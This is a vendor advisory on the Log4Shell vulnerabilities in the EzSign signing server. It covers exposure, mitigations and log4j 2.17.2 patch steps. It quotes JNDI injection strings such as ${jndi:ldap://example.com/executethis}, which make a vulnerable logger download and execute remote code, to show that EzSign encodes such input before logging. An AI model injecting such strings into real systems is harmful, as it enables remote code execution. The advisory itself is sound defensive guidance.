EzSign: CVE-2021-44228/45105/44832
Apache Log4j2 Vulnerability (Log4Shell)
Last Updated: 14:30 December 29th 2021
A vulnerability exists in log4j2 that leverages JNDI to potentially allow an attacker to provide a string that is interpreted as a variable
JNDI does not enforce any security controls on LDAP requests, therefore if a string such as the following:
${jndi:ldap://[host]/[path]}
Could be logged, Log4J would interpret it as a variable and this would result in the classes available at the [host]/[path]
location being downloaded and executed
Am I Vulnerable
EzSign does makes use of the vulnerable log4j2 libraries. However, input is passed to the server via the EzSign client and the client is itself driven by internal applications. Applications that utilise the EzSign client are not usually web facing
Data sent to EzSign is generally tightly controlled (from trusted sources etc.), but data from an external source could enter the EzSign logs if sent as part of data to sign (or verify). However, this will not make it to the log system in the intended format
If you hash this data before sending to EzSign then no original data is sent to the EzSign logging system anyway and a variable will therefore not be logged
EzSign also converts data it receives to Base64 before logging. So if an attack string does enter the system, it will still not be logged as intended
For example, if an attacker were to attempt to send the following string, as part of a message to sign data:
${jndi:ldap://example.com/executethis}
It would be logged as follows:
JHtqbmRpOmxkYXA6Ly9leGFtcGxlLmNvbS9leGVjdXRldGhpc30=
and if hashed prior, as:
mthnTlPO6hThbYbhQHyZ1uDVqN+CKyNcsdakX/GmckM=
I.e. the attack string is not sent to Log4J as the intended string - but the Base64 encoded form (of the original or hashed version). This means log4j is not sent the variable
Channel names, may be logged as sent to EzSign however and are not encoded. But these names are defined and configured by the trusted applications that call the EzSign client. They should not be passed in from external sources nor dependant on any end-user data. Only the trusted calling application will decided on what channel to use
Essentially, EzSign can only log what the calling application sends, and even then data is converted to Base 64. If the calling applications are secure then the risk is low. However, to ensure protection it is recommended to also apply the updates described in the next section:
What should we do
If you are running EzSign under Java 8 then the latest patched version of the log4j libraries should work. Follow the instructions in the Patches section below
If you are running EzSign under Java 7 contact support who will provide guidance on upgrading to log4j version 2.12.2
If you are unable or not intending to patch at this time you may follow the Mitigation Steps below
Mitigation Steps
If you are running EzSign against versions of Java greater than the following:
- Java 7 – 7u202
- Java 8 – 8u192
- Java 11 - 11.0.2
Then you may be protected
In any case, the following should be performed as additional protections:
Update the start script
Update the ezsign-daemon-start.sh
script (ezsign-daemon-start.bat
on windows) to include
-Dlog4j2.formatMsgNoLookups=true
To perform this, locate your ezsign-daemon-start.sh
script. By default, this will be located here:
[installation]/EzSignServer/bin
Edit the file by locating the following line:
"%JAVA_HOME%\bin\java" -Dlog4j.configurationFile=%LOGCONFIG% -classpath %CLASSPATH% com.krestfield.ezsign.server.EzSignServer %1 %2
And adding the -Dlog4j2.formatMsgNoLookups=true
section
E.g.
"%JAVA_HOME%\bin\java" -Dlog4j2.formatMsgNoLookups=true -Dlog4j.configurationFile=%LOGCONFIG% -classpath %CLASSPATH% com.krestfield.ezsign.server.EzSignServer %1 %2
On Linux/Unix the updated line may look as Follows:
$JAVA_HOME/bin/java -Dlog4j2.formatMsgNoLookups=true -Dlog4j.configurationFile=$LOGCONFIG -cp $CLASSPATH com.krestfield.ezsign.server.EzSignServer $1 $2 $3
Save the file
Update the log4j2.xml file
This resides, by default here:
[EzSign Install]\EzSignServer\logconf\log4j2.xml
It will begin as follows:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Properties>
<property name="name">ezsign</property>
<property name="pattern">%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n</property>
</Properties>
...
All that is needed is to replace the %msg%n
section with %msg{nolookups}%n
. When done the file will then look like this:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Properties>
<property name="name">ezsign</property>
<property name="pattern">%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n</property>
</Properties>
...
Save the file
On Windows environments, also add in the following System Environment Variable:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Restart the EzSign services
If EzSign is not performing any revocation checking (CRL or OCSP) then it does not need any external access. Restrict access from EzSign to any external sites using firewall rules
Patches
Download version 2.17.2 of the log4j libraries that EzSign uses from here
The SHA-1 hash for this zip file is
20019942fb611404f78cba544566c00093ce92ac
Extract the two jar files
-
log4j-api-2.17.2.jar
-
log4j-core-2.17.2.jar
Locate the \lib
directory of your EzSign installation
[EzSign Install]\EzSignServer\lib
Backup the existing log4j-api...
and log4j-core...
files. These will either be versions 2.11.1
or 2.7
(if unpatched)
Copy the contents of the zip file downloaded above to this \lib
directory
If you are running EzSign versions below version 3.0.0 then you must also either update your ezsign-daemon-start.sh
script to reference the new jar filenames:
- log4j-core-2.17.2.jar
- log4j-api-2.17.2.jar
Or rename the downloaded files to match the previous (i.e. rename log4j-core-2.17.2.jar
to log4j-core-2.7.jar
etc.). For later versions of EzSign this is not required (but ensure the old log4j jar files are not present in the lib
folder)
Restart the EzSign Server
What version of Log4j2 does EzSign use?
Version 3.0.0 and earlier (this includes EzSign Service 1.3) use Log4J version 2.7
Later versions use Log4J version 2.11.1
More Information
Contact Krestfield Support for more information